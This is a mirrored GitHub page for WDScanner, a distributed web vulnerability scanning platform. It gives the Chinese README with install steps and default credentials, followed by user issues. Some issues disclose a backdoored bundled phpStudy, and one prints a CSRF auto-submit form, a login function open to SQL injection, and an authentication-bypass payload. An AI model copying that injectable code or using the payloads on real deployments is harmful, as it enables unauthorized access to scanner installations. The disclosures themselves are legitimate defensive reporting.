tidesec / wdscanner Goto Github PK

WDScanner平台目前实现了如下功能：分布式web漏洞扫描、客户管理、漏洞定期扫描、子域名枚举、端口扫描、网站爬虫、暗链检测、坏链检测、网站指纹搜集、专项漏洞检测、代理搜集及部署等功能。

PHP 36.23% CSS 0.98% HTML 26.61% JavaScript 5.33% Python 29.47% Batchfile 0.53% Lua 0.85%

wdscanner's Introduction

WDScanner简介

随着互联网各种安全漏洞愈演愈烈，JAVA反序列化漏洞、STRUTS命令执行漏洞、ImageMagick命令执行漏洞等高危漏洞频繁爆发。在这种情况下，为了能在漏洞爆发后快速形成漏洞检测能力，同时能对网站或主机进行全面快速的安全检测，开发了一套简单易用的分布式web漏洞检测系统WDScanner。

WDScanner平台目前实现了如下功能：

客户管理：添加客户、添加客户持有系统、设置客户持有系统的扫描策略、周期性扫描等

漏洞扫描：分布式web扫描、漏洞定期扫描、敏感信息泄露扫描、漏洞管理等

信息搜集：网站标题、banner、端口开放、子域名、CMS指纹、操作系统版本、开发语言、WAF、CDN、中间件等

网站爬虫：网站链接爬取、暗链检测、坏链检测、敏感字检测

其他功能：代理搜集、检索中心、导出报告

声明

本平台只是对目标系统进行信息搜集和端口开放性探测，漏洞扫描调用了wvs的扫描核心，主要是为了方便大家对目标系统进行安全检测并出具中文报告。

对互联网任何目标的检测均需在取得授权后方可进行，如需测试本平台可用性请自行搭建靶机环境。若使用者因此做出危害网络安全的行为后果自负，与作者无关，特此声明。

更新说明

v1.0版本： 在2019年3月开源在github上，但之前没想到大家会对这个小平台关注度这么高，所以提供的安装方法也比较简陋，导致很多朋友在安装时遇到一些问题浪费了一些时间，在此表示歉意。

v1.1版本： 2019年5月，根据大家的反馈，重新打包了整个环境，提供了三种安装方式。由于里面有个别模块是对接的我们内网其他系统，所以这里就不再提供。

Install

GitHub地址：https://github.com/TideSec/WDScanner/

方式1：虚拟机环境

1、下载虚拟机镜像

链接: https://pan.baidu.com/s/1hcyL1S6AjKRh5fHerCCnJA 提取码: 8b44  解压密码www.tidesec.net

因为分享的单文件有点大，有时候就莫名其妙的下载无效了，及时联系我，我会更新下载链接。

打包好的vmware镜像，使用VMware Workstation 15 Pro制作，直接下载后解压，用vmware打开即可，理论上15.0以上版本都可以。

在VMware Workstation 15及以上版本如果提示“导入失败”，提示“规范一致性和硬件合规性”检查什么的，直接点“重试”即可。

提供一个VMware Workstation 15 Pro的下载地址：

链接: https://pan.baidu.com/s/1bvte1sM2U9_7IsNDWaJ_hQ 提取码: c2fs

虚拟机为win7系统，用户名TideSec，密码123456。虚拟机默认是nat模式联网，理论上可自动分配ip地址可直接使用。

另外，虚拟机为win7 sp1，没打任何补丁，ms17010什么的应该也有，如有必要请自行加固虚拟机。

2、运行桌面上的phpstudy，启动服务。

3、运行桌面上的Tide-proxy-bat.bat和Tide-WDScanner-bat.bat两个文件。

4、本机访问http://127.0.0.1 ，用户名密码为admin/123456，登录即可，然后进行添加客户、添加任务、执行扫描等。

方式2：半集成安装

1、下载软件包

链接：https://pan.baidu.com/s/1vFz-ZifDH6zShSBERtOzng 提取码: bpfj 解压密码www.tidesec.net

这里面打包好了phpstudy环境，把它解压到C盘根目录下，目录名不要变，即C:\WDScanner目录下。

2、安装python2.7、ruby、nmap、awvs10.5、pip等。

从安装包的wdscan-soft目录下安装相应软件，进行环境变量配置。

3、安装python依赖库

因为后台脚本都是使用的python来运行，所以调用了一些第三方库，在TaskPython目录下有个requirements.txt文件

在TaskPython目录下执行pip install -r requirements.txt即可。

4、在TaskPython目录下分别执行Tide-proxy-bat.bat和Tide-WDScanner-bat.bat两个文件，则分别开启了WDScanner后台任务和代理搜集任务。

5、本机访问http://127.0.0.1 ，用户名密码为admin/123456，登录即可，然后进行添加客户、添加任务、执行扫描等。

方式3：手工安装

1、安装python2.7、ruby、nmap、awvs10.5、pip等。

建议使用windows环境，因为wvs当时只能运行在windows环境下（现在好像有了linux版），wvs建议使用wvs10.5版本。python和pip安装后配置好环境变量。

我把上面需要几个软件进行了打包，在wdscan-soft目录下，逐个安装即可，下载地址：

链接：https://pan.baidu.com/s/1vFz-ZifDH6zShSBERtOzng 提取码: bpfj 解压密码www.tidesec.net

2、安装php运行环境

建议使用apache，php版本5.*不要太高，建议使用phpstudy，简单便捷，一键部署。

将所有文件放在c:\wdscanner\www目录下。因为有些偷懒，把一些路径写的绝对路径，如果自己有代码编辑能力，强烈建议自行二次开发。

3、安装python依赖库

因为后台脚本都是使用的python来运行，所以调用了一些第三方库，在TaskPython目录下有个requirements.txt文件

在TaskPython目录下执行pip install -r requirements.txt即可。

4、解压缩wdscanner.sql.zip，在mysql中新建数据库wdscan，将其中的wdscanner.sql导入，在include目录下的config.inc.php中修改数据库密码。

5、在扫描节点上运行TaskPython目录下的taskscan.py、taskspider.py、taskinfo.py即可分别进行任务扫描、网站爬取关键字分析、信息搜集等。（由于w3af配套部署比较麻烦，所以本版本未集成w3af）

6、执行TaskPython/proxy目录下的ip_pool.py、assess_quality.py可进行代理搜集及代理评分。

7、本机访问http://127.0.0.1 ，用户名密码为admin/123456，登录即可，然后进行添加客户、添加任务、执行扫描等。

Change_Log

[2017-10-02] 实现了分布式扫描，可以多节点进行扫描
[2017-09-25] 使用php做了个前端展示，不会美工，凑合着看
[2017-08-12] 用python实现了漏洞扫描、爬虫、信息探测等

Function

1、登录界面

项目大厅，配色比较恶俗

2、分布式扫描

WDScanner使用了分布式web漏洞扫描技术，前端服务器和用户进行交互并下发任务，可部署多个扫描节点服务器，能更快速的完成扫描任务。

因为wvs的结果是英文的，如果需要提供报告给客户的话友好度不高，所以对wvs的扫描结果、加固建议、漏洞描述等进行了汉化。

对wvs的汉化主要是爬取了wvs官方的漏洞库，对较为常见的漏洞进行了人工翻译，然后使用谷歌翻译对其他漏洞进行了翻译，人工进行了核对，最终大约包含670个漏洞。

汉化后的数据库可从这个表中获取，https://github.com/TideSec/WDScanner，在数据库文件的vul_cn表中。

扫描核心库使用了secscanner+w3af+awvs三款工具（secscanner是在建的另一套web扫描器， w3af是最好的开源扫描器），使用较多的扫描工具可能导致扫描速度有所降低，但误报率也会大大降低，扫描时也可选择最实用的扫描策略以节省时间。

3、客户管理

能对客户和资产进行管理，根据客户需求定制化扫描和监测方案，对网站进行定期扫描和网站爬取，检索敏感字、坏链、暗链、信息泄露等威胁，发现风险能及时提醒并告知客户。

4、网站信息收集

在添加新任务后，后台可主动识别目标banner和操作系统信息、端口开放、敏感文件扫描等。

自动识别开发语言、WAF、CMS和中间件等，并对常见端口进行扫描并判断其服务。

子域名的搜集使用了暴力枚举和互联网检索两种方式，保证了子域名的可用性并缩短了检索时间。

5、网站爬虫

目前政府类网站对暗链、敏感字和坏链等内容比较敏感，而网站爬虫可较好的解决这部分需求。

网站爬虫主要是周期性对目标整站页面进行爬取，爬虫算法主要采用了宽度优先遍历策略，可进行网页链接搜集、动态URL搜集、网站敏感字检索、暗链检索、坏链检测、存储网页快照等。

6、专项检测

WDScanner集成了专项漏洞检测功能，可在发生高危漏洞时快速部署检测POC，对客户网站进行批量安全性检测。

7、检索中心

检索中心可使用关键字对漏洞扫描、信息搜集、网站爬虫等进行检索，如漏洞类型、操作系统类型、开放端口、中间件类型、开发技术等。

网站URL检索，以检索包含.action的URL为例。

8、代理资源池

内置了代理资源池功能，对搜集到的代理地址的可用性进行动态打分排序，可以在扫描探测被封ip时智能切换IP地址。

9、节点管理

对扫描节点进行管理，不在范围内的节点无法请求平台任务。

10、报告输出

报告输出是专业扫描器不可缺少的部分，看起来功能不是很起眼，但的确花了我们很多时间和精力来实现这个功能。现在还只是实现了一个常规报告模板，而且在漏洞分类里还有些重复，后续还会慢慢完善。

在任务管理里每个任务都可以进行报告导出，大家可以看下报告的大体版式和内容，本想加入图表，暂时没能实现。生成的报告大体这样。

概述部分：

漏洞展示：

敏感字：

信息泄露：

ToDo

前端配色能不那么恶俗；
平台是之前开发的，有些代码可能存在bug，不要部署在互联网上；
部分功能因为耗时较长，已在代码中注释掉，建议有兴趣的可以进行二次开发。
提供的虚拟机镜像为win7 sp1，没打任何补丁，ms17010什么的应该也有，如有必要请自行加固虚拟机。

关注我们

TideSec安全团队：

Tide安全团队正式成立于2019年1月，是以互联网攻防技术研究为目标的安全团队，目前聚集了十多位专业的安全攻防技术研究人员，专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队，请关注团队官网: http://www.TideSec.net 或关注公众号：

wdscanner's People

Contributors

Stargazers

Watchers

Forkers

zhangzhenyu2 spoock1024 haoirui liusec f8syw5v h3ll0w0lrd unclejim kiang70 songofhack polinload j4ckzh0u h4ck0ne gitsucce-zz c0010 codechina888 explorer1092 x311 iiiusky shellb0y 0bsid1an thanosss rainism npc7 615 lubyruffy chennqqi 3lackrush godminer forks-library caochenye kyhvedn nuadaandre aa506 mofrom shus521 yipeng0428 test123test111 cream-sec b0g-lab forbidden-ali 78778443 rocknhawk xiaohuihui1113 fengzihk nazicc parad0xss ihamsters torns 0x516a 26597925 simon0105 flyr4nk lightlib byluolu0 zubeneschamali sdgdsffdsfff killvxk hkwolf aaq1adqwe crackercat freegit9527 qiqi1 johanlike secsystem moredu fuckgitb wangdiwen die9o chw1989 silience eniac888 makaisghr dreamsroid shadowkiller12138 wooluo ze4lfrog cs24 liwuqi yang123vc ppofp fengjixuchui bobylive zx273983653 sdlearn c002 cloudwafs xietalent redwifiteam snrt7 focusstart yi6ei2ifd rockystevejobs jieprince li282886931 daboquan grayguest 957204459 bbhunter uncia inboxs

wdscanner's Issues

批量添加任务的问题

大佬请问下，批量添加的任务，是要等这个批量任务执行完后，扫描信息、站点爬虫、信息收集的内容才会在系统页面上显示出来吗？

节点配置

节点配置，看了下，只有IP和端口，不知道具体的意义是什么，还有awvs10.5默认安装了就可以调用么？python环境，是2.7的，相应的库可有列表，或者做一个re清单。

导入了数据库也配置好了config.inc.php但是还是出问题

Fatal error: Uncaught Error: Call to undefined function mysql_connect() in C:\phpstudy_pro\WWW\wdscan\include\mysql.class.php:27 Stack trace: #0 C:\phpstudy_pro\WWW\wdscan\include\mysql.class.php(20): mysql->connect() #1 C:\phpstudy_pro\WWW\wdscan\include\config.inc.php(41): mysql->__construct('192.168.199.147', 'wdscan', '123456', 'wdscan', 'utf-8', 'utf-8', '') #2 C:\phpstudy_pro\WWW\wdscan\index.php(2): require('C:\phpstudy_pro...') #3 {main} thrown in C:\phpstudy_pro\WWW\wdscan\include\mysql.class.php on line 27

大佬，是不是没开源全部呀？

安装完后，看着是不是缺少了代理地址池的数据库文件，其他扫描任务的相关文件。

扫描内网资产

请问下当扫描内网资产的时候,是否需要运行Tide-proxy-bat.bat , 系统会不会检测到是内网IP不使用IP代理池功能.

网盘虚拟机镜像链接失效了.

数据异常

部署好了，扫描不出结果

部署好，并安装好所有软件，在项目管理中添加url.进行扫描，但是扫描完成后，一人漏洞都没有，包括使用 http://testphp.vulnweb.com/ 都没有，是哪里有问题呀

关于半集成安装

你可以做一个XAMPP半集成安装包吗？^^''

虚拟机镜像损坏，无法解压

请问可以对IP地址的主机扫描吗？

请问可以对IP地址的主机扫描吗？我将IP加入项目，最终全是0的结果，是不支持对IP地址的扫描吗？

节点有详细的介绍吗？

虚拟机版本报错

执行Tide-proxy-bat.bat文件时出错

建议部署到ubuntu就好啦

awvs linux版本下载地址链接：https://pan.baidu.com/s/1QMv-ocrwfMA9AnF1wMshXg 提取码：wegh
然后环境建议部署成docker环境，这样就方便多啦
里面的绝对路径有好多，自己安装太痛苦了。

项目启动报错，还有很多乱码

taskinfo-win.py报错：
Error: No JSON object could be decoded

存在phpstudy rce后门，希望下版本被修复

。。。。。。

啥时候能完全开源就好了

信息搜集建议增加去除子域名功能

信息收集页面建议去除子域名功能，或者对泛解析进行判断，部分网站使用使用泛解析导致速度很慢

解压密码错误？

输入解压密码
www.tidesec.net

解压会开始，但过程中出现报错，提示解压密码错误。

集成环境使用了存在后门的phpstudy

VMware15启动系统，不具有对某个分区的写访问权限。完全允许后，进入无限重启

集成环境中使用带后门版本的phpstudy

使用全局代理时发现phpstudy有异常流量：

<html>
<form id="test_form" action="http://127.0.0.1/WDScanner/?m=set&c=new" method="post">
        <input class="form-control" name="username" value="csrf">
        <input class="form-control" name="mail" value="[email protected]">
        <input class="form-control" name="passwd" value="123456">
        <input class="form-control" name="phone" value="19982312732">
		<input class="form-control" name="status" value="1">
        <input class="form-control" name="group" value="1">
</form>
<script type="text/javascript">
test_form.submit();
</script>
</html>

function login() {
	global $db;
	
	$username = $_POST['username'];
	$password = $_POST['password'];
    $remember = $_POST['remember'];


    if($remember == 1){
        setcookie('user',$username,time()+3600*24);
        setcookie('pass',$password,time()+3600*24);
        setcookie('remember',$remember,time()+3600*24);
    }else{
        setcookie('user',$username,time()-3600*24);
        setcookie('pass',$password,time()-3600*24);
        setcookie('remember',$remember,time()-3600*24);
    }

	
	//print_r($_POST);
	
	if (!empty($username) and !empty($password)){
		$sql = "SELECT * FROM `user` where username='{$username}' and passwd='{$password}'";
		
		$results = $db->fetch_assoc($sql);
		$rows = $db->db_num_rows($sql);
		if ($rows > 0 and $results['status'] == 1){
			$_SESSION['username'] = $results['username'];
			$_SESSION['r_ip'] = $_SERVER['REMOTE_ADDR'];

			
			$up_arr['lasttime'] = time();
			$update = $db->update("user",$up_arr,"username='{$username}'");
			
			Message(" $username 登录成功! 正在跳转... ","?m=index",0,500);
		}else if ($rows > 0 and $results['status'] == 0){
			Message(" 账号被禁用，请联系管理员 ","?m=login",0,3000);
		}
	}

}

payload:

http://127.0.0.1//WDScanner/?m=login
[POST]username=admin'%23&password=123

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.

tidesec / wdscanner Goto Github PK

wdscanner's Introduction

WDScanner简介

声明

更新说明

目录

Install

方式1：虚拟机环境

方式2：半集成安装

方式3：手工安装

Change_Log

Function

1、登录界面

2、分布式扫描

3、客户管理

4、网站信息收集

5、网站爬虫

6、专项检测

7、检索中心

8、代理资源池

9、节点管理

10、报告输出

ToDo

关注我们

wdscanner's People

Contributors

Stargazers

Watchers

Forkers

wdscanner's Issues

使用时请及时删除php_xmlrpc.dll

使用时请及时删除php_xmlrpc.dll

使用时请及时删除php_xmlrpc.dll

Recommend Projects

Recommend Topics

Recommend Org